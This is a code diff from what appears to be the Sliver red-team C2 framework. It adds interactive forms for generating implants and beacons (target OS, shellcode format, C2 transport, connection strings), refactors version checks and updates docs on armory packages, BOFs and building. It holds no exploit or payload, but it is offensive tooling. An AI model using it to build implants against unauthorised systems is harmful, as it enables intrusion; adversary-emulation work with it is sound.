"github.com/charmbracelet/huh"
)
// ArmoryInstallOption represents an armory install option.
type ArmoryInstallOption struct {
Value string
Label string
}
// ArmoryInstallFormResult captures the selection from the armory install form.
type ArmoryInstallFormResult struct {
SelectedNames []string
}
// ArmoryInstallForm prompts for armory packages or bundles to install.
func ArmoryInstallForm(options []ArmoryInstallOption) (*ArmoryInstallFormResult, error) {
if len(options) == 0 {
return nil, errors.New("armory install options are required")
}
selectOptions := make([]huh.Option[string], 0, len(options))
for _, option := range options {
if option.Value == "" {
return nil, errors.New("armory install option value is required")
}
if option.Label == "" {
return nil, errors.New("armory install option label is required")
}
selectOptions = append(selectOptions, huh.NewOption(option.Label, option.Value))
}
result := &ArmoryInstallFormResult{}
field := huh.NewMultiSelect[string]().
Title("Select packages or bundles to install").
Description("Use space to select and enter to install.").
Options(selectOptions...).
Height(listHeight(len(selectOptions))).
Value(&result.SelectedNames)
form := huh.NewForm(huh.NewGroup(field))
if err := form.Run(); err != nil {
return nil, err
}
return result, nil
}
+51
View File
@@ -0,0 +1,51 @@
package forms
import (
"errors"
"github.com/charmbracelet/huh"
)
// ArmoryUpdateOption represents an update option in the armory update form.
type ArmoryUpdateOption struct {
ID string
Label string
}
// ArmoryUpdateFormResult captures the selection from the armory update form.
type ArmoryUpdateFormResult struct {
SelectedIDs []string
}
// ArmoryUpdateForm prompts for armory updates to apply.
func ArmoryUpdateForm(options []ArmoryUpdateOption) (*ArmoryUpdateFormResult, error) {
if len(options) == 0 {
return nil, errors.New("armory update options are required")
}
selectOptions := make([]huh.Option[string], 0, len(options))
for _, option := range options {
if option.ID == "" {
return nil, errors.New("armory update option id is required")
}
if option.Label == "" {
return nil, errors.New("armory update option label is required")
}
selectOptions = append(selectOptions, huh.NewOption(option.Label, option.ID))
}
result := &ArmoryUpdateFormResult{}
field := huh.NewMultiSelect[string]().
Title("Select updates to apply").
Description("Use space to select and enter to apply.").
Options(selectOptions...).
Height(listHeight(len(selectOptions))).
Value(&result.SelectedIDs)
form := huh.NewForm(huh.NewGroup(field))
if err := form.Run(); err != nil {
return nil, err
}
return result, nil
}
+136
View File
@@ -0,0 +1,136 @@
package forms
import (
"errors"
"strings"
"github.com/bishopfox/sliver/util"
"github.com/charmbracelet/huh"
)
// ErrUserAborted exposes the huh user-abort sentinel for callers.
var ErrUserAborted = huh.ErrUserAborted
// GenerateFormResult captures the inputs needed to drive the generate command.
type GenerateFormResult struct {
OS string
Arch string
Format string
Name string
C2Type string
C2Value string
Save string
}
// GenerateForm prompts for core generate flags and returns the collected values.
func GenerateForm() (*GenerateFormResult, error) {
result := &GenerateFormResult{
OS: "windows",
Arch: "amd64",
Format: "exe",
C2Type: "mtls",
}
form := huh.NewForm(
huh.NewGroup(
huh.NewSelect[string]().
Title("Target operating system").
Options(
huh.NewOption("Windows", "windows"),
huh.NewOption("Linux", "linux"),
huh.NewOption("macOS", "darwin"),
).
Value(&result.OS),
huh.NewSelect[string]().
Title("CPU architecture").
OptionsFunc(func() []huh.Option[string] {
switch result.OS {
case "darwin":
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("arm64", "arm64"),
}
case "linux":
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("386", "386"),
}
default:
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("386", "386"),
}
}
}, &result.OS).
Height(3).
Value(&result.Arch),
huh.NewSelect[string]().
Title("Output format").
OptionsFunc(func() []huh.Option[string] {
options := []huh.Option[string]{
huh.NewOption("Executable", "exe"),
huh.NewOption("Shared library", "shared"),
}
if result.OS == "windows" {
options = append(options,
huh.NewOption("Service", "service"),
huh.NewOption("Shellcode", "shellcode"),
)
}
return options
}, &result.OS).
Height(3).
Value(&result.Format),
),
huh.NewGroup(
huh.NewInput().
Title("Implant name (optional)").
Value(&result.Name).
Validate(func(value string) error {
if strings.TrimSpace(value) == "" {
return nil
}
return util.AllowedName(strings.ToLower(value))
}),
huh.NewSelect[string]().
Title("C2 transport").
OptionsFunc(func() []huh.Option[string] {
options := []huh.Option[string]{
huh.NewOption("mTLS", "mtls"),
huh.NewOption("WireGuard", "wg"),
huh.NewOption("HTTP(S)", "http"),
huh.NewOption("DNS", "dns"),
}
if result.OS == "windows" {
options = append(options,
huh.NewOption("Named pipe", "named-pipe"),
huh.NewOption("TCP pivot", "tcp-pivot"),
)
}
return options
}, &result.OS).
Height(6).
Value(&result.C2Type),
huh.NewInput().
Title("C2 connection string(s)").
Description("Comma separated; example: 1.2.3.4:8888 or https://c2.example.com").
Value(&result.C2Value).
Validate(func(value string) error {
if strings.TrimSpace(value) == "" {
return errors.New("connection string required")
}
return nil
}),
huh.NewInput().
Title("Save path (optional)").
Description("File or directory; defaults to the current directory").
Value(&result.Save),
),
)
if err := form.Run(); err != nil {
return nil, err
}
return result, nil
}
+181
View File
@@ -0,0 +1,181 @@
package forms
import (
"errors"
"strconv"
"strings"
"github.com/bishopfox/sliver/util"
"github.com/charmbracelet/huh"
)
// GenerateBeaconFormResult captures the inputs needed to drive the generate beacon command.
type GenerateBeaconFormResult struct {
OS string
Arch string
Format string
Name string
C2Type string
C2Value string
Save string
Days string
Hours string
Minutes string
Seconds string
Jitter string
}
// GenerateBeaconForm prompts for generate beacon flags and returns the collected values.
func GenerateBeaconForm() (*GenerateBeaconFormResult, error) {
result := &GenerateBeaconFormResult{
OS: "windows",
Arch: "amd64",
Format: "exe",
C2Type: "mtls",
}
form := huh.NewForm(
huh.NewGroup(
huh.NewSelect[string]().
Title("Target operating system").
Options(
huh.NewOption("Windows", "windows"),
huh.NewOption("Linux", "linux"),
huh.NewOption("macOS", "darwin"),
).
Value(&result.OS),
huh.NewSelect[string]().
Title("CPU architecture").
OptionsFunc(func() []huh.Option[string] {
switch result.OS {
case "darwin":
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("arm64", "arm64"),
}
case "linux":
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("386", "386"),
}
default:
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("386", "386"),
}
}
}, &result.OS).
Height(3).
Value(&result.Arch),
huh.NewSelect[string]().
Title("Output format").
OptionsFunc(func() []huh.Option[string] {
options := []huh.Option[string]{
huh.NewOption("Executable", "exe"),
huh.NewOption("Shared library", "shared"),
}
if result.OS == "windows" {
options = append(options,
huh.NewOption("Service", "service"),
huh.NewOption("Shellcode", "shellcode"),
)
}
return options
}, &result.OS).
Height(3).
Value(&result.Format),
),
huh.NewGroup(
huh.NewInput().
Title("Implant name (optional)").
Value(&result.Name).
Validate(func(value string) error {
if strings.TrimSpace(value) == "" {
return nil
}
return util.AllowedName(strings.ToLower(value))
}),
huh.NewSelect[string]().
Title("C2 transport").
OptionsFunc(func() []huh.Option[string] {
options := []huh.Option[string]{
huh.NewOption("mTLS", "mtls"),
huh.NewOption("WireGuard", "wg"),
huh.NewOption("HTTP(S)", "http"),
huh.NewOption("DNS", "dns"),
}
if result.OS == "windows" {
options = append(options,
huh.NewOption("Named pipe", "named-pipe"),
huh.NewOption("TCP pivot", "tcp-pivot"),
)
}
return options
}, &result.OS).
Height(6).
Value(&result.C2Type),
huh.NewInput().
Title("C2 connection string(s)").
Description("Comma separated; example: 1.2.3.4:8888 or https://c2.example.com").
Value(&result.C2Value).
Validate(func(value string) error {
if strings.TrimSpace(value) == "" {
return errors.New("connection string required")
}
return nil
}),
huh.NewInput().
Title("Save path (optional)").
Description("File or directory; defaults to the current directory").
Value(&result.Save),
),
huh.NewGroup(
huh.NewInput().
Title("Beacon interval days (optional)").
Description("Leave blank for 0").
Value(&result.Days).
Validate(validateOptionalNonNegativeInt),
huh.NewInput().
Title("Beacon interval hours (optional)").
Description("Leave blank for 0").
Value(&result.Hours).
Validate(validateOptionalNonNegativeInt),
huh.NewInput().
Title("Beacon interval minutes (optional)").
Description("Leave blank for 0").
Value(&result.Minutes).
Validate(validateOptionalNonNegativeInt),
huh.NewInput().
Title("Beacon interval seconds (optional)").
Description("Leave blank for default 60 seconds unless other units are set").
Value(&result.Seconds).
Validate(validateOptionalNonNegativeInt),
huh.NewInput().
Title("Beacon jitter seconds (optional)").
Description("Leave blank for default 30 seconds").
Value(&result.Jitter).
Validate(validateOptionalNonNegativeInt),
),
)
if err := form.Run(); err != nil {
return nil, err
}
return result, nil
}
func validateOptionalNonNegativeInt(value string) error {
trimmed := strings.TrimSpace(value)
if trimmed == "" {
return nil
}
parsed, err := strconv.ParseInt(trimmed, 10, 64)
if err != nil {
return errors.New("must be a whole number")
}
if parsed < 0 {
return errors.New("must be 0 or greater")
}
return nil
}
+139
View File
@@ -0,0 +1,139 @@
package forms
import (
"errors"
"strings"
"github.com/bishopfox/sliver/util"
"github.com/charmbracelet/huh"
)
// GenerateProfilesNewFormResult captures the inputs needed to drive the profiles new command.
type GenerateProfilesNewFormResult struct {
ProfileName string
OS string
Arch string
Format string
Name string
C2Type string
C2Value string
}
// GenerateProfilesNewForm prompts for profiles new flags and returns the collected values.
func GenerateProfilesNewForm() (*GenerateProfilesNewFormResult, error) {
result := &GenerateProfilesNewFormResult{
OS: "windows",
Arch: "amd64",
Format: "exe",
C2Type: "mtls",
}
form := huh.NewForm(
huh.NewGroup(
huh.NewInput().
Title("Profile name").
Value(&result.ProfileName).
Validate(func(value string) error {
trimmed := strings.TrimSpace(value)
if trimmed == "" {
return errors.New("profile name required")
}
return util.AllowedName(trimmed)
}),
huh.NewSelect[string]().
Title("Target operating system").
Options(
huh.NewOption("Windows", "windows"),
huh.NewOption("Linux", "linux"),
huh.NewOption("macOS", "darwin"),
).
Value(&result.OS),
huh.NewSelect[string]().
Title("CPU architecture").
OptionsFunc(func() []huh.Option[string] {
switch result.OS {
case "darwin":
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("arm64", "arm64"),
}
case "linux":
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("386", "386"),
}
default:
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("386", "386"),
}
}
}, &result.OS).
Height(3).
Value(&result.Arch),
huh.NewSelect[string]().
Title("Output format").
OptionsFunc(func() []huh.Option[string] {
options := []huh.Option[string]{
huh.NewOption("Executable", "exe"),
huh.NewOption("Shared library", "shared"),
}
if result.OS == "windows" {
options = append(options,
huh.NewOption("Service", "service"),
huh.NewOption("Shellcode", "shellcode"),
)
}
return options
}, &result.OS).
Height(3).
Value(&result.Format),
),
huh.NewGroup(
huh.NewInput().
Title("Implant name (optional)").
Value(&result.Name).
Validate(func(value string) error {
if strings.TrimSpace(value) == "" {
return nil
}
return util.AllowedName(strings.ToLower(value))
}),
huh.NewSelect[string]().
Title("C2 transport").
OptionsFunc(func() []huh.Option[string] {
options := []huh.Option[string]{
huh.NewOption("mTLS", "mtls"),
huh.NewOption("WireGuard", "wg"),
huh.NewOption("HTTP(S)", "http"),
huh.NewOption("DNS", "dns"),
}
if result.OS == "windows" {
options = append(options,
huh.NewOption("Named pipe", "named-pipe"),
huh.NewOption("TCP pivot", "tcp-pivot"),
)
}
return options
}, &result.OS).
Height(6).
Value(&result.C2Type),
huh.NewInput().
Title("C2 connection string(s)").
Description("Comma separated; example: 1.2.3.4:8888 or https://c2.example.com").
Value(&result.C2Value).
Validate(func(value string) error {
if strings.TrimSpace(value) == "" {
return errors.New("connection string required")
}
return nil
}),
),
)
if err := form.Run(); err != nil {
return nil, err
}
return result, nil
}
@@ -0,0 +1,171 @@
package forms
import (
"errors"
"strings"
"github.com/bishopfox/sliver/util"
"github.com/charmbracelet/huh"
)
// GenerateProfilesNewBeaconFormResult captures the inputs needed to drive the profiles new beacon command.
type GenerateProfilesNewBeaconFormResult struct {
ProfileName string
OS string
Arch string
Format string
Name string
C2Type string
C2Value string
Days string
Hours string
Minutes string
Seconds string
Jitter string
}
// GenerateProfilesNewBeaconForm prompts for profiles new beacon flags and returns the collected values.
func GenerateProfilesNewBeaconForm() (*GenerateProfilesNewBeaconFormResult, error) {
result := &GenerateProfilesNewBeaconFormResult{
OS: "windows",
Arch: "amd64",
Format: "exe",
C2Type: "mtls",
}
form := huh.NewForm(
huh.NewGroup(
huh.NewInput().
Title("Profile name").
Value(&result.ProfileName).
Validate(func(value string) error {
trimmed := strings.TrimSpace(value)
if trimmed == "" {
return errors.New("profile name required")
}
return util.AllowedName(trimmed)
}),
huh.NewSelect[string]().
Title("Target operating system").
Options(
huh.NewOption("Windows", "windows"),
huh.NewOption("Linux", "linux"),
huh.NewOption("macOS", "darwin"),
).
Value(&result.OS),
huh.NewSelect[string]().
Title("CPU architecture").
OptionsFunc(func() []huh.Option[string] {
switch result.OS {
case "darwin":
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("arm64", "arm64"),
}
case "linux":
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("386", "386"),
}
default:
return []huh.Option[string]{
huh.NewOption("amd64", "amd64"),
huh.NewOption("386", "386"),
}
}
}, &result.OS).
Height(3).
Value(&result.Arch),
huh.NewSelect[string]().
Title("Output format").
OptionsFunc(func() []huh.Option[string] {
options := []huh.Option[string]{
huh.NewOption("Executable", "exe"),
huh.NewOption("Shared library", "shared"),
}
if result.OS == "windows" {
options = append(options,
huh.NewOption("Service", "service"),
huh.NewOption("Shellcode", "shellcode"),
)
}
return options
}, &result.OS).
Height(3).
Value(&result.Format),
),
huh.NewGroup(
huh.NewInput().
Title("Implant name (optional)").
Value(&result.Name).
Validate(func(value string) error {
if strings.TrimSpace(value) == "" {
return nil
}
return util.AllowedName(strings.ToLower(value))
}),
huh.NewSelect[string]().
Title("C2 transport").
OptionsFunc(func() []huh.Option[string] {
options := []huh.Option[string]{
huh.NewOption("mTLS", "mtls"),
huh.NewOption("WireGuard", "wg"),
huh.NewOption("HTTP(S)", "http"),
huh.NewOption("DNS", "dns"),
}
if result.OS == "windows" {
options = append(options,
huh.NewOption("Named pipe", "named-pipe"),
huh.NewOption("TCP pivot", "tcp-pivot"),
)
}
return options
}, &result.OS).
Height(6).
Value(&result.C2Type),
huh.NewInput().
Title("C2 connection string(s)").
Description("Comma separated; example: 1.2.3.4:8888 or https://c2.example.com").
Value(&result.C2Value).
Validate(func(value string) error {
if strings.TrimSpace(value) == "" {
return errors.New("connection string required")
}
return nil
}),
),
huh.NewGroup(
huh.NewInput().
Title("Beacon interval days (optional)").
Description("Leave blank for 0").
Value(&result.Days).
Validate(validateOptionalNonNegativeInt),
huh.NewInput().
Title("Beacon interval hours (optional)").
Description("Leave blank for 0").
Value(&result.Hours).
Validate(validateOptionalNonNegativeInt),
huh.NewInput().
Title("Beacon interval minutes (optional)").
Description("Leave blank for 0").
Value(&result.Minutes).
Validate(validateOptionalNonNegativeInt),
huh.NewInput().
Title("Beacon interval seconds (optional)").
Description("Leave blank for default 60 seconds unless other units are set").
Value(&result.Seconds).
Validate(validateOptionalNonNegativeInt),
huh.NewInput().
Title("Beacon jitter seconds (optional)").
Description("Leave blank for default 30 seconds").
Value(&result.Jitter).
Validate(validateOptionalNonNegativeInt),
),
)
if err := form.Run(); err != nil {
return nil, err
}
return result, nil
}
+154
View File
@@ -0,0 +1,154 @@
package forms
import (
"errors"
"strings"
"github.com/charmbracelet/huh"
)
const defaultSelectHeight = 10
// Confirm prompts for a yes/no answer.
func Confirm(title string, value *bool) error {
if value == nil {
return errors.New("confirm value is required")
}
form := huh.NewForm(
huh.NewGroup(
huh.NewConfirm().
Title(title).
Value(value),
),
)
return form.Run()
}
// Input prompts for a single-line string.
func Input(title string, value *string) error {
if value == nil {
return errors.New("input value is required")
}
form := huh.NewForm(
huh.NewGroup(
huh.NewInput().
Title(title).
Value(value),
),
)
return form.Run()
}
// Text prompts for multi-line input.
func Text(title string, value *string) error {
if value == nil {
return errors.New("text value is required")
}
form := huh.NewForm(
huh.NewGroup(
huh.NewText().
Title(title).
ExternalEditor(false).
Value(value),
),
)
return form.Run()
}
// Select prompts for a single selection from options.
func Select(title string, options []string, value *string) error {
return selectPrompt(title, options, value, false)
}
// SelectRequired prompts for a single selection and requires a non-empty value.
func SelectRequired(title string, options []string, value *string) error {
return selectPrompt(title, options, value, true)
}
// MultiSelect prompts for selecting multiple values.
func MultiSelect(title string, options []string, value *[]string) error {
if value == nil {
return errors.New("multi-select value is required")
}
if len(options) == 0 {
return errors.New("multi-select options are required")
}
field := huh.NewMultiSelect[string]().
Title(title).
Options(makeStringOptions(options)...).
Height(listHeight(len(options))).
Value(value)
form := huh.NewForm(huh.NewGroup(field))
return form.Run()
}
func selectPrompt(title string, options []string, value *string, required bool) error {
if value == nil {
return errors.New("select value is required")
}
if len(options) == 0 {
return errors.New("select options are required")
}
ensureSelectedValue(options, value)
field := huh.NewSelect[string]().
Title(title).
Options(makeStringOptions(options)...).
Height(listHeight(len(options))).
Value(value)
if required {
field.Validate(func(val string) error {
if strings.TrimSpace(val) == "" {
return errors.New("selection required")
}
return nil
})
}
form := huh.NewForm(huh.NewGroup(field))
return form.Run()
}
func ensureSelectedValue(options []string, value *string) {
if value == nil || len(options) == 0 {
return
}
if *value == "" {
*value = options[0]
return
}
for _, option := range options {
if option == *value {
return
}
}
*value = options[0]
}
func makeStringOptions(options []string) []huh.Option[string] {
converted := make([]huh.Option[string], 0, len(options))
for _, option := range options {
converted = append(converted, huh.NewOption(option, option))
}
return converted
}
func listHeight(count int) int {
if count < 1 {
return 1
}
if count > defaultSelectHeight {
return defaultSelectHeight
}
return count
}
+113
View File
@@ -0,0 +1,113 @@
package forms
import (
"errors"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/charmbracelet/huh"
)
// SettingsFormResult captures the inputs needed to update client settings.
type SettingsFormResult struct {
TableStyle string
AutoAdult bool
BeaconAutoResults bool
SmallTermWidth string
AlwaysOverflow bool
VimMode bool
UserConnect bool
ConsoleLogs bool
}
// SettingsForm prompts for client settings and returns the collected values.
func SettingsForm(settings *assets.ClientSettings, tableStyleOptions []string) (*SettingsFormResult, error) {
if settings == nil {
return nil, errors.New("settings are required")
}
if len(tableStyleOptions) == 0 {
return nil, errors.New("no table styles available")
}
result := &SettingsFormResult{
TableStyle: settings.TableStyle,
AutoAdult: settings.AutoAdult,
BeaconAutoResults: settings.BeaconAutoResults,
SmallTermWidth: strconv.Itoa(settings.SmallTermWidth),
AlwaysOverflow: settings.AlwaysOverflow,
VimMode: settings.VimMode,
UserConnect: settings.UserConnect,
ConsoleLogs: settings.ConsoleLogs,
}
if result.TableStyle == "" {
result.TableStyle = tableStyleOptions[0]
}
styleOptions := make([]huh.Option[string], 0, len(tableStyleOptions))
for _, option := range tableStyleOptions {
styleOptions = append(styleOptions, huh.NewOption(option, option))
}
form := huh.NewForm(
huh.NewGroup(
huh.NewSelect[string]().
Title("Table style").
Options(styleOptions...).
Height(len(styleOptions)).
Value(&result.TableStyle),
huh.NewInput().
Title("Small terminal width").
Description("Omit some table columns when the terminal is narrower than this value").
Value(&result.SmallTermWidth).
Validate(validateRequiredPositiveInt),
huh.NewConfirm().
Title("Always overflow tables").
Description("Disable table pagination").
Value(&result.AlwaysOverflow),
).Title("Display"),
huh.NewGroup(
huh.NewConfirm().
Title("Auto accept OPSEC warnings").
Description("Skip confirmation prompts for risky actions").
Value(&result.AutoAdult),
huh.NewConfirm().
Title("Auto display beacon results").
Description("Show beacon task results when tasks complete").
Value(&result.BeaconAutoResults),
huh.NewConfirm().
Title("Vim navigation mode").
Description("Use vim-style navigation in the console").
Value(&result.VimMode),
huh.NewConfirm().
Title("User connect events").
Description("Show operator connect and disconnect events").
Value(&result.UserConnect),
huh.NewConfirm().
Title("Console logs").
Description("Log console output to disk").
Value(&result.ConsoleLogs),
).Title("Behavior"),
)
if err := form.Run(); err != nil {
return nil, err
}
return result, nil
}
func validateRequiredPositiveInt(value string) error {
trimmed := strings.TrimSpace(value)
if trimmed == "" {
return errors.New("value required")
}
parsed, err := strconv.Atoi(trimmed)
if err != nil {
return errors.New("must be a whole number")
}
if parsed < 1 {
return errors.New("must be 1 or greater")
}
return nil
}
-17
View File
@@ -19,26 +19,9 @@ package main
*/
import (
"crypto/rand"
"encoding/binary"
insecureRand "math/rand"
"time"
"github.com/bishopfox/sliver/client/cli"
)
// Attempt to seed insecure rand with secure rand, but we really
// don't care that much if it fails since it's insecure anyways
func init() {
buf := make([]byte, 8)
_, err := rand.Read(buf)
if err != nil {
insecureRand.Seed(int64(time.Now().Unix()))
} else {
insecureRand.Seed(int64(binary.LittleEndian.Uint64(buf)))
}
}
func main() {
cli.Execute()
}
+105 -8
View File
@@ -19,15 +19,23 @@ package version
*/
import (
"errors"
"fmt"
"runtime"
"runtime/debug"
"strconv"
"strings"
"time"
"golang.org/x/mod/semver"
)
const (
normal = "\033[0m"
bold = "\033[1m"
defaultVersion = "devel"
defaultReleasesURL = "https://api.github.com/repos/BishopFox/sliver/releases"
)
var (
@@ -47,22 +55,111 @@ var (
CompiledAt string
)
func init() {
if GithubReleasesURL == "" {
GithubReleasesURL = defaultReleasesURL
}
applyBuildInfo()
}
func applyBuildInfo() {
info, ok := debug.ReadBuildInfo()
if !ok || info == nil {
ensureDefaults()
return
}
if GoVersion == "" {
if info.GoVersion != "" {
GoVersion = info.GoVersion
} else {
GoVersion = runtime.Version()
}
}
if Version == "" {
Version = normalizeVersion(info.Main.Version)
}
settings := buildSettings(info.Settings)
if GitCommit == "" {
GitCommit = settings["vcs.revision"]
}
if GitDirty == "" && settings["vcs.modified"] == "true" {
GitDirty = "Dirty"
}
if CompiledAt == "" {
if vcsTime := settings["vcs.time"]; vcsTime != "" {
if compiled, err := time.Parse(time.RFC3339, vcsTime); err == nil {
CompiledAt = strconv.FormatInt(compiled.Unix(), 10)
}
}
}
ensureDefaults()
}
func ensureDefaults() {
if Version == "" {
Version = defaultVersion
}
if GoVersion == "" {
GoVersion = runtime.Version()
}
}
func buildSettings(settings []debug.BuildSetting) map[string]string {
values := make(map[string]string, len(settings))
for _, setting := range settings {
values[setting.Key] = setting.Value
}
return values
}
func normalizeVersion(version string) string {
if version == "" || version == "(devel)" {
return defaultVersion
}
if canonical := canonicalSemver(version); canonical != "" {
return canonical
}
return version
}
func canonicalSemver(version string) string {
version = strings.TrimSpace(version)
if version == "" || version == "(devel)" {
return ""
}
if !strings.HasPrefix(version, "v") {
version = "v" + version
}
return semver.Canonical(version)
}
// SemanticVersion - Get the structured sematic version
func SemanticVersion() []int {
semVer := []int{}
version := Version
if strings.HasPrefix(version, "v") {
version = version[1:]
semVer := make([]int, 3)
canonical := canonicalSemver(Version)
if canonical == "" {
return semVer
}
for _, part := range strings.Split(version, ".") {
number, _ := strconv.Atoi(part)
semVer = append(semVer, number)
base := strings.TrimPrefix(canonical, "v")
if idx := strings.Index(base, "-"); idx != -1 {
base = base[:idx]
}
parts := strings.Split(base, ".")
for i := 0; i < 3 && i < len(parts); i++ {
semVer[i], _ = strconv.Atoi(parts[i])
}
return semVer
}
// Compiled - Get time this binary was compiled
func Compiled() (time.Time, error) {
if CompiledAt == "" {
return time.Unix(0, 0), errors.New("compiled time not available")
}
compiled, err := strconv.ParseInt(CompiledAt, 10, 64)
if err != nil {
return time.Unix(0, 0), err
@@ -74,7 +171,7 @@ func Compiled() (time.Time, error) {
func FullVersion() string {
ver := fmt.Sprintf("%s", Version)
compiled, err := Compiled()
if err != nil {
if err == nil {
ver += fmt.Sprintf(" - Compiled %s", compiled.String())
}
if GitCommit != "" {
+12 -33
View File
@@ -6,9 +6,9 @@ import (
"io"
"net/http"
"os"
"strconv"
"strings"
"time"
"golang.org/x/mod/semver"
)
const (
@@ -90,42 +90,21 @@ func CheckForUpdates(client *http.Client, prereleases bool) (*Release, error) {
return nil, err
}
mySemVer := SemanticVersion()
current := canonicalSemver(Version)
if current == "" {
current = "v0.0.0"
}
for _, release := range *releases {
if release.Prerelease && !prereleases {
continue
}
releaseSemVer := parseGitTag(release.TagName)
for index, myVer := range mySemVer {
if index < len(releaseSemVer) {
if releaseSemVer[index] == myVer {
continue
}
if releaseSemVer[index] < myVer {
break
}
if myVer < releaseSemVer[index] {
return release, nil
}
}
releaseVersion := canonicalSemver(release.TagName)
if releaseVersion == "" {
continue
}
if semver.Compare(releaseVersion, current) > 0 {
return release, nil
}
}
return nil, nil
}
// parseGitTag - Get the structured sematic version
func parseGitTag(tag string) []int {
semVer := []int{}
version := tag
if strings.Contains(version, "-") {
version = strings.Split(version, "-")[0]
}
if strings.HasPrefix(version, "v") {
version = version[1:]
}
for _, part := range strings.Split(version, ".") {
number, _ := strconv.Atoi(part)
semVer = append(semVer, number)
}
return semVer
}
+1545 -1603
View File
File diff suppressed because it is too large. Load diff
+1 -1
View File
@@ -26,7 +26,7 @@
"framer-motion": "^12.23.22",
"fuse.js": "^7.1.0",
"lunr": "^2.3.9",
"next": "^15.5.4",
"next": "^15.5.9",
"next-themes": "^0.4.6",
"react": "^19.2.0",
"react-dom": "^19.2.0",
+4 -4
View File
@@ -1,10 +1,10 @@
The armory is the Sliver Alias and Extension package manager (introduced in Sliver v1.5), it allows you to automatically install various 3rd party tools such as BOFs and .NET tooling.
The armory is the Sliver Alias and Extension package manager. It allows you to automatically install various third-party tools such as BOFs and .NET tooling.
The armory downloads packages from `github.com` and `api.github.com` so you'll need an internet connection in order for the command to work. The command does support proxies (see `--help`) and after an alias or extension is installed an internet connection is not required to execute the alias/extension.
Aliases and extensions are installed on the "sliver client"-side, and thus are not shared among operators in [multiplayer mode](/docs?name=Multi-player+Mode).
As of v1.5.14 you can also use `armory install all` to install _everything_ if you really want to.
You can also use `armory install all` to install _everything_ if you really want to.
## The Official Armory
@@ -40,10 +40,10 @@ sliver > armory update
#### Removing Packages
You remove packages installed from the `armory` using the `aliases rm` and `extensions rm` commands depending on if the package is an alias or an extension. You can list installed aliases and extensions by running `aliases` and `extensions` respectfully.
You remove packages installed from the `armory` using the `aliases rm` and `extensions rm` commands depending on if the package is an alias or an extension. You can list installed aliases and extensions by running `aliases` and `extensions` respectively.
Installed alias and extension files are stored in `~/.sliver-client/` by default if you want to manually remove a package simply delete its corresponding directory and restart the client.
## Private Armories
Sliver has experimental support for self-hosted private armories, but I've not gotten around to testing & writing the documentation for these, so you'll have to read thru the source code to figure out how they work for now. I'll eventually update this documentation and release a reference implementation. If you do play around with this, just know the design is subject to change before becoming a real feature.
Sliver has experimental support for self-hosted private armories, but I have not gotten around to testing and writing the documentation for these, so you'll have to read through the source code to figure out how they work for now. I'll eventually update this documentation and release a reference implementation. If you do play around with this, just know the design is subject to change before becoming a real feature.
@@ -1,4 +1,4 @@
Sliver v1.5 and later support the loading and execution of BOFs and COFFs, generally no code changes are needed to use BOFs with a Sliver implant. However, you may need to define a manifest file so that Sliver is aware of BOF arguments and their types.
Sliver supports the loading and execution of BOFs and COFFs, generally no code changes are needed to use BOFs with a Sliver implant. However, you may need to define a manifest file so that Sliver is aware of BOF arguments and their types.
### BOF Extensions
@@ -37,9 +37,9 @@ Flags:
### Converting BOFs to Sliver
Converting existing BOFs to work with Sliver is usually pretty easy, and shouldn't require any code changes. You'll need to define an `extension.json` though based on what arguments/etc. the BOF accepts.
Converting existing BOFs to work with Sliver is usually pretty easy, and shouldn't require any code changes. You'll need to define an `extension.json`, though, based on what arguments/etc. the BOF accepts.
To determine the arguments a BOF accepts and their types, you'll need to read `.cna` script that accompanies a given BOF. For example, the [CredMan](https://github.com/sliverarmory/CredManBOF/blob/main/CredMan.cna) `.cna` script is show below:
To determine the arguments a BOF accepts and their types, you'll need to read the `.cna` script that accompanies a given BOF. For example, the [CredMan](https://github.com/sliverarmory/CredManBOF/blob/main/CredMan.cna) `.cna` script is shown below:
```
alias CredMan {
@@ -29,6 +29,5 @@ generate --http http://example.com?driver=wininet
- `retry-count` - Upon query failure, retry this many times before failing.
- `workers-per-resolver` - Number of worker goroutines per functional DNS resolver.
- `max-errors` - Max number of query errors before failing (integer parsed by `strconv.Atoi`).
- `force-base32` - Always use Base 32 encoding.
- `force-resolv-conf` - Force the use of a provided `resolv.conf`. Note that you'll need to URL encode the newlines/etc of the file contents into the parameter.
- `resolvers` - Force the use of specific DNS resolvers. You can supply more than one by separating them with `+`, i.e. `...?resolvers=1.1.1.1+9.9.9.9`
@@ -1,9 +1,11 @@
You'll want to compile from a MacOS or Linux machine, compiling from native Windows in theory is possible, but none of the asset scripts are designed to run on Windows, you can cross-compile the Windows server/client binaries from a better operating system like Linux or MacOS. If you only have a Windows machine see "Windows Builds" below (TL;DR use WSL).
You'll want to compile from a MacOS or Linux machine. Compiling from native Windows is possible in theory, but none of the asset scripts are designed to run on Windows. You can cross-compile the Windows server/client binaries from a better operating system like Linux or MacOS. If you only have a Windows machine, see "Windows Builds" below (TL;DR: use WSL).
# Sliver v1.6.x
- Go v1.21 or later
- `make`, `sed`, `tar`, `curl`, `zip`, `cut` commands; most of these are installed by default but you may need to install `make`, `curl`, and `zip` depending on your distribution. On MacOS you may need to install XCode and accompanying cli tools.
To compile from source you'll need:
- Go v1.25 or later
- `make` (on MacOS you may need to install XCode and accompanying cli tools)
```asciinema
{"src": "/asciinema/compile-from-source.cast", "cols": "132"}
@@ -26,6 +28,16 @@ $ make
This will create `sliver-server` and `sliver-client` binaries.
Sliver embeds its own copy of the Go compiler and a few internal tools. The first time you run `make`, a bash script will download these assets to your local system. This means the first build will take longer than subsequent builds, especially if your internet connection is slow.
### Cross-compile to Specific Platforms
You can also specify a target platform for the `make` file:
```
$ GOOS=windows GOARCH=amd64 make
```
### Docker Build
There are a few Docker targets available depending on your needs:
@@ -46,11 +58,15 @@ docker build --target production -t sliver .
